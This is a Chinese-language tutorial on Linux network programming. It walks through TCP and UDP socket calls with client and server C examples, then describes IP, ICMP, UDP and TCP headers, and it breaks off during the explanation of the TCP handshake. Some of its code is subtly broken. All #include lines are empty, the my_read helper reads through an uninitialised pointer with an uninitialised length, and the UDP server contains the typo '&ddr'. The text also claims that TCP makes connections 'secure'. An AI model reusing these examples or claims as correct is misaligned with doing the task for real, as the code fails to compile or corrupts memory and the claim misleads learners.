1.linux 网络知识介绍

1.1 客户端程序和服务端程序

网络程序和普通程序的最大区别就是网络程序分为两个部分：客户端和服务器端。

网络程序是服务器端先启动，等待客户端的连接。一般服务器端绑定在一个端口进行监听，直到有一个客户端发来了请求。

1.2 常用的命令

由于网络程序由两个部分组成，所以调试起来比较麻烦，所以，我们先来了解一下常用的命令。

netstat

此命令用来显示网络的连接、路由表和接口统计等网络信息。Netstat 有许多选项，最常用的是-an 用来显示详细的网络状态。

telnet

telnet 是一个远程控制程序，但是我们可以用它来调试我们的服务器端程序。比如我们的服务器在监听 8888 端口，我们可以用 telnet localhost 8888 来查看服务器的状况。

1.3TCP/UDP 介绍

TCP（Tranfer Control Protocal）传输控制协议是一个面向连接的协议，当使用这个协议时，网络可以保证客户端和服务器端的连接是可靠的、安全的。

UDP（User Datagram Protocal）用户数据报协议是一种非面向连接的协议，它不保证网络程序的连接是可靠的，所以，一般的网络程序都使用 TCP 协议。

2.初等网络函数介绍

Linux 系统是通过提供套接字(socket)来进行网络编程的.网络程序通过 socket 和其它几个函数的调用,会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是 linux 的设备无关性的好处.我们可以通过向描述符读写操作实现网络之间的数据交流.

2.1 socket

int socket(int domain, int type,int protocol)

domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX 和 AF_INET 等). AF_UNIX 只能够用于单一的 Unix 系统进程间通信,而 AF_INET 是针对 Internet 的,因而可以允许在远程 主机之间通信(当我们 man socket 时发现 domain 可选项是 PF_*而不是 AF_*,因为 glibc 是 posix 的实现 所以用 PF 代替了 AF,不过我们都可以使用的).

type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM 等) SOCK_STREAM 表明我们用的是 TCP 协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是 UDP 协议,这样只会提供定长的,不可靠,无连接的通信.

protocol:由于我们指定了 type,所以这个地方我们一般只要用 0 来代替就可以了 socket 为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看 errno 可知道出错的详细情况.

2.2 bind

int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

sockfd:是由 socket 调用返回的文件描述符.

addrlen:是 sockaddr 结构的长度.

my_addr:是一个指向 sockaddr 的指针. 在中有 sockaddr 的定义

```
struct sockaddr{
        unisgned short    as_family;
        char                sa_data[14];
        };
```

不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct

sockaddr_in) 来代替.在中有 sockaddr_in 的定义

```
struct sockaddr_in{
        unsigned short          sin_family;
        unsigned short int      sin_port;
        struct in_addr          sin_addr;
        unsigned char           sin_zero[8];
```

我们主要使用 Internet 所以 sin_family 一般为 AF_INET,sin_addr 设置为 INADDR_ANY 表示可以和任何的主机通信,sin_port 是我们要监听的端口号.sin_zero[8]是用来填充的. bind 将本地的端口同 socket 返回的文件描述符捆绑在一起.成功是返回 0,失败的情况和 socket 一样

2.3 listen

int listen(int sockfd,int backlog)

sockfd:是 bind 后的文件描述符.

backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时，使用这个表示可以介绍的排队长度. listen 函数将 bind 的文件描述符变为监听套接字.返回的情况和 bind 一样.

2.4 accept

int accept(int sockfd, struct sockaddr *addr,int *addrlen)

sockfd:是 listen 后的文件描述符.

addr,addrlen 是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,listen 和 accept 是服务器端用的函数,accept 调用时,服务器端的程序会一直阻塞到有一个客户程序发出了连接. accept 成功时返回最后的服务器端的文件描述符,这个时候服务器端可以向该描述符写信息了. 失败时返回-1

2.5 connect

int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

sockfd:socket 返回的文件描述符.

serv_addr:储存了服务器端的连接信息.其中 sin_add 是服务端的地址

addrlen:serv_addr 的长度

connect 函数是客户端用来同服务端连接的.成功时返回 0,sockfd 是同服务端通讯的文件描述符 失败时返回-1.

2.6 实例

服务器端程序

```
/******* 服务器程序  (server.c) ************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

int main(int argc, char *argv[])
{
  int sockfd,new_fd;
  struct sockaddr_in server_addr;
  struct sockaddr_in client_addr;
  int sin_size,portnumber;
  char hello[]="Hello! Are You Fine?\n";

  if(argc!=2)
  {
    fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
    exit(1);
  }

  if((portnumber=atoi(argv[1]))<0)
  {
    fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
```

```
  exit(1);
 }

/* 服务器端开始建立 socket 描述符 */
 if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
 {
        fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
        exit(1);
 }

/* 服务器端填充 sockaddr 结构 */
 bzero(&server_addr,sizeof(struct sockaddr_in));
 server_addr.sin_family=AF_INET;
 server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
 server_addr.sin_port=htons(portnumber);

/* 捆绑 sockfd 描述符 */
 if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
 {
        fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
        exit(1);
 }

/* 监听 sockfd 描述符 */
 if(listen(sockfd,5)==-1)
 {
        fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
        exit(1);
 }

 while(1)
 {
        /* 服务器阻塞,直到客户程序建立连接 */
        sin_size=sizeof(struct sockaddr_in);
        if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
        {
                fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
                exit(1);
    }

        fprintf(stderr,"Server get connection from %s\n",
                                                inet_ntoa(client_addr.sin_addr));
        if(write(new_fd,hello,strlen(hello))==-1)
        {
```

```
                fprintf(stderr,"Write Error:%s\n",strerror(errno));
                exit(1);
              }
    /*  这个通讯已经结束       */
              close(new_fd);
/*  循环下一个       */
      }
     close(sockfd);
     exit(0);
    }
```

客户端程序

```
    /*******  客户端程序   client.c ************/
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    int main(int argc, char *argv[])
    {
     int sockfd;
     char buffer[1024];
     struct sockaddr_in server_addr;
     struct hostent *host;
     int portnumber,nbytes;

     if(argc!=3)
     {
      fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
      exit(1);
     }

     if((host=gethostbyname(argv[1]))==NULL)
     {
              fprintf(stderr,"Gethostname error\n");
              exit(1);
     }
```

```
 if((portnumber=atoi(argv[2]))<0)
 {
        fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
        exit(1);
 }

/* 客户程序开始建立 sockfd 描述符  */
 if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
 {
        fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
        exit(1);
 }

/* 客户程序填充服务端的资料        */
 bzero(&server_addr,sizeof(server_addr));
 server_addr.sin_family=AF_INET;
 server_addr.sin_port=htons(portnumber);
 server_addr.sin_addr=*((struct in_addr *)host->h_addr);

/* 客户程序发起连接请求          */
 if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
   fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
   exit(1);
}

/* 连接成功了                */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
        fprintf(stderr,"Read Error:%s\n",strerror(errno));
        exit(1);
 }
 buffer[nbytes]='\0';
 printf("I have received:%s\n",buffer);
/* 结束通讯        */
 close(sockfd);
 exit(0);
}
```

MakeFile

这里我们使用 GNU 的 make 实用程序来编译. 关于 make 的详细说明见 Make 使用介绍

```
#########    Makefile          ############
all:server client
server:server.c
        gcc $^ -o $@
client:client.c
        gcc $^ -o $@
```

运行 make 后会产生两个程序 server(服务器端)和 client(客户端) 先运行./server portnumber& (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),然后运行 ./client localhost 8888 看看有什么结果. (你也可以用telnet和netstat试一试.) 上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明.

2.7 总结

总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是:

服务器端
socket-->bind-->listen-->accept

客户端
socket-->connect

3.服务器和客户机的信息函数

这一章我们来学习转换和网络方面的信息函数.

3.1 字节转换函数

在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如 i386 芯片是低字节在内存地址的低端,高字节在高端,而 alpha 芯片却相反. 为了统一起来,在 Linux 下面,有专门的字节转换函数.

```
unsigned long    int htonl(unsigned long    int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long    int ntohl(unsigned long    int netlong)
unsigned short int ntohs(unsigned short int netshort)
```

在这四个转换函数中,h 代表 host , n 代表 network . s 代表 short , l 代表 long 第一个函数的意义是将本机器上的 long 数据转化为网络上的 long. 其他几个函数的意义也差不多.

3.2 IP 和域名的转换

在网络上标志一台机器可以用 IP 或者是用域名.那么我们怎么去进行转换呢?

```
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有 struct hostent 的定义
struct hostent{
        char *h_name;              /* 主机的正式名称   */
        char *h_aliases;          /* 主机的别名 */
        int     h_addrtype;        /* 主机的地址类型   AF_INET*/
        int     h_length;          /* 主机的地址长度   对于 IP4 是 4 字节 32 位*/
        char **h_addr_list;       /* 主机的 IP 地址列表 */
        }
  #define h_addr h_addr_list[0]   /* 主机的第一个 IP 地址*/
```

gethostbyname 可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息

gethostbyaddr 可以将一个 32 位的 IP 地址(C0A80001)转换为结构指针.

这两个函数失败时返回 NULL 且设置 h_errno 错误变量,调用 h_strerror()可以得到详细的出错信息

3.3 字符串的 IP 和 32 位的 IP 转换

在网络上面我们用的 IP 都是数字加点(192.168.0.1)构成的，而在 struct in_addr 结构中用的是 32 位的 IP，我们上面那个 32 位 IP(C0A80001)是的 192.168.0.1 为了转换我们可以使用下面两个函数

```
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
```

函数里面 a 代表 ascii n 代表 network.第一个函数表示将 a.b.c.d 的 IP 转换为 32 位的 IP，存储在 inp 指针里面.第二个是将 32 位 IP 转换为 a.b.c.d 的格式.

3.4 服务信息函数

在网络程序里面我们有时候需要知道端口.IP 和服务信息.这个时候我们可以使用以下几个函数

```
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
        {
                char *s_name;              /* 正式服务名 */
                char **s_aliases;          /* 别名列表 */
                int s_port;                /* 端口号 */
                char *s_proto;             /* 使用的协议 */
        }
```

一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在 connect 调用成功后使用可得到 系统分配的端口号.对于服务端,我们用 INADDR_ANY 填充后,为了得到连接的 IP 我们可以在 accept 调用成功后 使用而得到 IP 地址.

在网络上有许多的默认端口和服务,比如端口 21 对 ftp80 对应 WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.

3.5 一个例子

```
#include
#include
#include
#include
#include

int main(int argc ,char **argv)
{
        struct sockaddr_in addr;
        struct hostent *host;
        char **alias;

        if(argc<2)
        {
          fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
          exit(1);
        }

        argv++;
        for(;*argv!=NULL;argv++)
        {
                /* 这里我们假设是 IP*/
                if(inet_aton(*argv,&addr.sin_addr)!=0)
                {
                    host=gethostbyaddr((char      *)&addr.sin_addr,4,AF_INET);
                    printf("Address information of Ip %s\n",*argv);
                }
                else
                {
                        /* 失败,难道是域名?*/
                        host=gethostbyname(*argv); printf("Address information
                        of host %s\n",*argv);
                }
                if(host==NULL)
                {
                        /* 都不是 ,算了不找了*/
                        fprintf(stderr,"No address information of %s\n",*argv);
                        continue;
                }
                printf("Official host name %s\n",host->h_name);
```

```
                printf("Name aliases:");
                for(alias=host->h_aliases;*alias!=NULL;alias++)
                  printf("%s ,",*alias);
                printf("\nIp address:");
                for(alias=host->h_addr_list;*alias!=NULL;alias++)
                    printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
        }
}
```

在这个例子里面,为了判断用户输入的是 IP 还是域名我们调用了两个函数,第一次我们假设输入的是 IP 所以调用 inet_aton, 失败的时候,再调用 gethostbyname 而得到信息.

4.完整的读写函数

一旦我们建立了连接,我们的下一步就是进行通信了.在 Linux 下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.

4.1 写函数 write

ssize_t write(int fd,const void *buf,size_t nbytes)

write 函数将 buf 中的 nbytes 字节内容写入文件描述符 fd.成功时返回写的字节数.失败时返回-1. 并设置 errno 变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能.

1)write 的返回值大于 0,表示写了部分或者是全部的数据.

2)返回的值小于 0,此时出现了错误.我们要根据错误类型来处理.

如果错误为 EINTR 表示在写的时候出现了中断错误.

如果为 EPIPE 表示网络连接出现了问题(对方已经关闭了连接).

为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

```
int my_write(int fd,void *buffer,int length)
{
  int bytes_left;
  int written_bytes;
  char *ptr;

  ptr=buffer;
  bytes_left=length;
  while(bytes_left>0)
  {
            /*  开始写*/
            written_bytes=write(fd,ptr,bytes_left);
            if(written_bytes<=0) /*  出错了*/
            {
                        if(errno==EINTR) /*  中断错误  我们继续写*/
                                    written_bytes=0;
                        else                    /*  其他错误  没有办法,只好撤退了*/
```

```
                return(-1);
            }
            bytes_left-=written_bytes;
            ptr+=written_bytes;        /* 从剩下的地方继续写   */
        }
        return(0);
    }
```

4.2 读函数 read

ssize_t read(int fd,void *buf,size_t nbyte) read 函数是负责从 fd 中读取内容.当读成功时,read 返回实际所读的字节数,如果返回的值是 0 表示已经读到文件的结束了,小于 0 表示出现了错误.如果错误为 EINTR 说明读是由中断引起的, 如果是 ECONNREST 表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数.

```
int my_read(int fd,void *buffer,int length)
{
  int bytes_left;
  int bytes_read;
  char *ptr;

  bytes_left=length;
  while(bytes_left>0)
  {
     bytes_read=read(fd,ptr,bytes_read);
     if(bytes_read<0)
     {
        if(errno==EINTR)
            bytes_read=0;
        else
            return(-1);
     }
     else if(bytes_read==0)
          break;
      bytes_left-=bytes_read;
      ptr+=bytes_read;
  }
  return(length-bytes_left);
}
```

4.3 数据的传递

有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式

```
/*   客户端向服务端写  */

struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

/*  服务端的读*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
```

在网络上传递数据时我们一般都是把数据转化为 char 类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容)

5.用户数据报发送

我们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出大部分的基于 TCP 协议的网络程序了.现在在 Linux 下的大部分程序都是用我们上面所学的知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一下基于 UDP 协议的网络程序.

5.1 两个常用的函数

int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)

int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)

sockfd,buf,len 的意义和 read,write 一样,分别表示套接字描述符,发送或接收的缓冲区及大小.recvfrom 负责从 sockfd 接收数据,如果 from 不是 NULL,那么在 from 里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将 from 和 fromlen 设置为 NULL.sendto 负责向 to 发送信息.此时在 to 里面存储了收信息方的详细资料.

5.2 一个实例

```
/*              服务端程序    server.c              */

#include
#include
#include
#include
#include
#define SERVER_PORT         8888
#define MAX_MSG_SIZE        1024

void udps_respon(int sockfd)
{
        struct sockaddr_in addr;
        int         addrlen,n;
        char        msg[MAX_MSG_SIZE];
```

```
        while(1)
        {       /*  从网络上度,写到网络上面去     */
                n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
                        (struct sockaddr*)&addr,&addrlen);
                msg[n]=0;
                /*  显示服务端已经收到了信息   */
                fprintf(stdout,"I have received %s",msg);
                sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
        }
}

int main(void)
{
        int sockfd;
        struct sockaddr_in          addr;

        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket Error:%s\n",strerror(errno));
                exit(1);
        }
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_addr.s_addr=htonl(INADDR_ANY);
        addr.sin_port=htons(SERVER_PORT);
        if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0)
        {
                fprintf(stderr,"Bind Error:%s\n",strerror(errno));
                exit(1);
        }
        udps_respon(sockfd);
        close(sockfd);
}


/*              客户端程序                  */
#include
#include
#include
#include
#include
#include
#include
#define MAX_BUF_SIZE       1024
```

```
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
        char buffer[MAX_BUF_SIZE];
        int n;
        while(1)
        {       /*  从键盘读入,写到服务端  */
                fgets(buffer,MAX_BUF_SIZE,stdin);
                sendto(sockfd,buffer,strlen(buffer),0,addr,len);
                bzero(buffer,MAX_BUF_SIZE);
                /*  从网络上读,写到屏幕上  */
                n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
                buffer[n]=0;
                fputs(buffer,stdout);
        }
}

int main(int argc,char **argv)
{
        int sockfd,port;
        struct sockaddr_in      addr;

        if(argc!=3)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }

        if((port=atoi(argv[2]))<0)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }

        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket  Error:%s\n",strerror(errno));
                exit(1);
        }
        /*      填充服务端的资料        */
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);
```

```
        if(inet_aton(argv[1],&addr.sin_addr)<0)
        {
                fprintf(stderr,"Ip error:%s\n",strerror(errno));
                exit(1);
        }
        udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
        close(sockfd);
}

############ 编译文件 Makefile ##########
all:server client
server:server.c
        gcc -o server server.c
client:client.c
        gcc -o client client.c
clean:
        rm -f server
        rm -f client
        rm -f core
```

上面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务端,然后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已经收到信息,但是客户端没有反映.再运行一个客户端,向服务端发出信息 却可以得到反应.我想可能是第一个客户端已经阻塞了.如果谁知道怎么解决的话,请告诉我,谢谢. 由于 UDP 协议是不保证可靠接收数据的要求,所以我们在发送信息的时候,系统并不能够保证我们发出的信息都正确无误的到达目的地.一般的来说我们在编写网络程序的时候都是选用 TCP 协议的.

6.高级套接字函数

在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

6.1 recv 和 send

recv 和 send 函数提供了和 read 和 write 差不多的功能.不过它们提供了第四个参数来控制读写操作.

```
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
```

前面的三个参数和 read,write 一样,第四个参数可以是 0 或者是以下的组合

MSG_DONTROUTE	不查找路由表
MSG_OOB	接受或者发送带外数据
MSG_PEEK	查看数据,并不从系统缓冲区移走数据
MSG_WAITALL	等待所有数据

MSG_DONTROUTE:是 send 函数使用的标志.这个标志告诉 IP 协议.目的主机在本地网络上面,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面.

MSG_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.

MSG_PEEK:是 recv 函数的使用标志,表示只是从系统缓冲区中读取内容,而不清除系统缓冲区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.

MSG_WAITALL 是 recv 函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候 recv 回一直阻塞,直到指定的条件满足,或者是发生了错误. 1)当读到了指定的字节时,函数正常返回.返回值等于 len 2)当读到了文件的结尾时,函数正常返回.返回值小于 len 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)

如果 flags 为 0,则和 read,write 一样的操作.还有其它的几个选项,不过我们实际上用的很少,可以查看 **Linux Programmer's Manual** 得到详细解释.

6.2 recvfrom 和 sendto

这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了.

6.3 recvmsg 和 sendmsg

recvmsg 和 sendmsg 可以实现前面所有的读写函数的功能.

```
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)

 struct msghdr
        {
                void *msg_name;
                int msg_namelen;
                struct iovec *msg_iov;
                int msg_iovlen;
                void *msg_control;
                int msg_controllen;
                int msg_flags;
        }

struct iovec
        {
                void *iov_base; /*  缓冲区开始的地址    */
                size_t iov_len; /*  缓冲区的长度          */
        }
```

msg_name 和 msg_namelen 当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.msg_name 实际上是一个指向 struct sockaddr 的指针,msg_name 是结构的长度.当套接字是面向连接时,这两个值应设为 NULL. msg_iov 和 msg_iovlen 指出接受和发送的缓冲区内容.msg_iov 是一个结构指针,msg_iovlen 指出这个结构数组的大小. msg_control 和 msg_controllen 这两个变量是用来接收和发送控制数据时的 msg_flags 指定接受和发送的操作选项.和 recv,send 的选项一样

6.4 套接字的关闭

关闭套接字有两个函数 close 和 shutdown.用 close 时和我们关闭文件一样.

6.5 shutdown

int shutdown(int sockfd,int howto)

TCP 连接是双向的(是可读写的),当我们使用 close 时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用 shutdown.针对不同的 howto,系统回采取不同的关闭方式.

howto=0 这个时候系统会关闭读通道.但是可以继续往接字描述符写.

howto=1 关闭写通道,和上面相反,着时候就只可以读了.

howto=2 关闭读写通道,和 close 一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用 shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用 close 来关闭子进程的套接字描述符.

7.Tcp/ip 协议

你也许听说过 TCP/IP 协议,那么你知道到底什么是 TCP,什么是 IP 吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.

7.1 网络传输分层

如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为 7 个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.

7.2 IP 协议

IP 协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是 IP4 的数据包格式

```
 0        4        8          16                          32
-------------------------------------------------
|版本    |首部长度|服务类型|      数据包总长          |
-------------------------------------------------
|      标识                    |DF |MF|  碎片偏移        |
-------------------------------------------------
|    生存时间      |   协议    |   首部较验和           |
-------------------------------------------------
|                  源 IP 地址                        |
-------------------------------------------------
|                  目的 IP 地址                      |
-------------------------------------------------
|                  选项                              |
=================================================
|                  数据                              |
-------------------------------------------------
```

下面我们看一看 IP 的结构定义

struct ip

```
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ip_hl:4;          /* header length */
        unsigned int ip_v:4;           /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
        unsigned int ip_v:4;           /* version */
        unsigned int ip_hl:4;          /* header length */
#endif
        u_int8_t ip_tos;               /* type of service */
        u_short ip_len;                /* total length */
        u_short ip_id;                 /* identification */
        u_short ip_off;                /* fragment offset field */
#define IP_RF 0x8000                   /* reserved fragment flag */
#define IP_DF 0x4000                   /* dont fragment flag */
#define IP_MF 0x2000                   /* more fragments flag */
#define IP_OFFMASK 0x1fff              /* mask for fragmenting bits */
        u_int8_t ip_ttl;               /* time to live */
        u_int8_t ip_p;                 /* protocol */
        u_short ip_sum;                /* checksum */
        struct in_addr ip_src, ip_dst;  /* source and dest address */
  };
```

ip_vIP 协议的版本号,这里是 4,现在 IPV6 已经出来了

ip_hlIP 包首部长度,这个值以 4 字节为单位.IP 协议首部的固定长度为 20 个字节,如果 IP 包没有选项,那么这个值为 5.

ip_tos 服务类型,说明提供的优先权.

ip_len 说明 IP 数据的长度.以字节为单位.

ip_id 标识这个 IP 数据包.

ip_off 碎片偏移,这和上面 ID 一起用来重组碎片的.

ip_ttl 生存时间.没经过一个路由的时候减一,直到为 0 时被抛弃.

ip_p 协议,表示创建这个 IP 数据包的高层协议.如 TCP,UDP 协议.

ip_sum 首部校验和,提供对首部数据的校验.

ip_src,ip_dst 发送者和接收者的 IP 地址

关于 IP 协议的详细情况,请参考 RFC791

7.3 ICMP 协议

ICMP 是消息控制协议,也处于网络层.在网络上传递 IP 数据包时,如果发生了错误,那么就会用 ICMP 协议来报告错误.

ICMP 包的结构如下:

```
 0                   8                   16                                  32
-------------------------------------------------------------------
|          类型      |          代码      |          校验和                    |
-------------------------------------------------------------------
|                    数据                |          数据                      |
-------------------------------------------------------------------
```

ICMP 在中的定义是

```
struct icmphdr
{
  u_int8_t type;                /* message type */
  u_int8_t code;                /* type sub-code */
  u_int16_t checksum;
  union
  {
    struct
    {
      u_int16_t id;
      u_int16_t sequence;
    } echo;                     /* echo datagram */
    u_int32_t    gateway;       /* gateway address */
    struct
    {
      u_int16_t __unused;
      u_int16_t mtu;
    } frag;                     /* path mtu discovery */
  } un;
};
```

关于 ICMP 协议的详细情况可以查看 RFC792

7.4 UDP 协议

UDP 协议是建立在 IP 协议基础之上的,用在传输层的协议.UDP 和 IP 协议一样是不可靠的数据报服务.UDP 的头格式为:

```
 0                          16                          32
-----------------------------------------------
|        UDP 源端口          |       UDP 目的端口       |
-----------------------------------------------
|        UDP 数据报长度      |       UDP 数据报校验     |
-----------------------------------------------
```

UDP 结构在中的定义为:

```
struct udphdr {
   u_int16_t        source;
   u_int16_t        dest;
   u_int16_t        len;
   u_int16_t        check;
};
```

关于 UDP 协议的详细情况,请参考 RFC768

7.5 TCP

TCP 协议也是建立在 IP 协议之上的,不过 TCP 协议是可靠的.按照顺序发送的.TCP 的数据结构比前面的结构都要复杂.

```
0          4          8   10              16                24                32
---------------------------------------------------------------
|                  源端口              |                目的端口           |
---------------------------------------------------------------
|                                      序列号                              |
---------------------------------------------------------------
|                                      确认号                              |
---------------------------------------------------------------
|          |              |U|A|P|S|F|                                      |
|首部长度|  保留          |R|C|S|Y|I|          窗口                        |
|          |              |G|K|H|N|N|                                       |
---------------------------------------------------------------
|                  校验和              |                紧急指针           |
---------------------------------------------------------------
|                          选项                        |      填充字节     |
```

TCP 的结构在中定义为:

```
struct tcphdr
  {
      u_int16_t source;
      u_int16_t dest;
      u_int32_t seq;
      u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
      u_int16_t res1:4;
      u_int16_t doff:4;
      u_int16_t fin:1;
      u_int16_t syn:1;
      u_int16_t rst:1;
      u_int16_t psh:1;
      u_int16_t ack:1;
      u_int16_t urg:1;
      u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
      u_int16_t doff:4;
      u_int16_t res1:4;
      u_int16_t res2:2;
      u_int16_t urg:1;
      u_int16_t ack:1;
      u_int16_t psh:1;
      u_int16_t rst:1;
      u_int16_t syn:1;
      u_int16_t fin:1;
#endif
      u_int16_t window;
      u_int16_t check;
      u_int16_t urg_prt;
};
```

source 发送 TCP 数据的源端口
dest 接受 TCP 数据的目的端口

seq 标识该 TCP 所包含的数据字节的开始序列号

ack_seq 确认序列号,表示接受方下一次接受的数据序列号.

doff 数据首部长度.和 IP 协议一样,以 4 字节为单位.一般的时候为 5

urg 如果设置紧急数据指针,则该位为 1

ack 如果确认号正确,那么为 1

psh 如果设置为 1,那么接收方收到数据后,立即交给上一层程序

rst 为 1 的时候,表示请求重新连接

syn 为 1 的时候,表示请求建立连接

fin 为 1 的时候,表示亲戚关闭连接

window 窗口,告诉接收者可以接收的大小

check 对 TCP 数据进行较核

urg_ptr 如果 urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值

关于 TCP 协议的详细情况,请查看 RFC793

7.6 TCP 连接的建立

TCP 协议是一种可靠的连接,为了保证连接的可靠性,TCP 的连接要分为几个步骤.我们把这个连接过程称为"三次握手".

下面我们从一个实例来分析建立连接的过程.

第一步客户机向服务器发送一个 TCP 数据包,表示请求建立连接. 为此,客户端将数据包的 SYN 位设置为 1,并且设置序列号 seq=1000(我们假设为 1000).

第二步服务器收到了数据包,并从 SYN 位为 1 知道这是一个建立请求的连接.于是服务器也向客户端发送一个 TCP 数据包.因为是响应客户机的请求,于是服务器设置 ACK 为 1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为 2000).

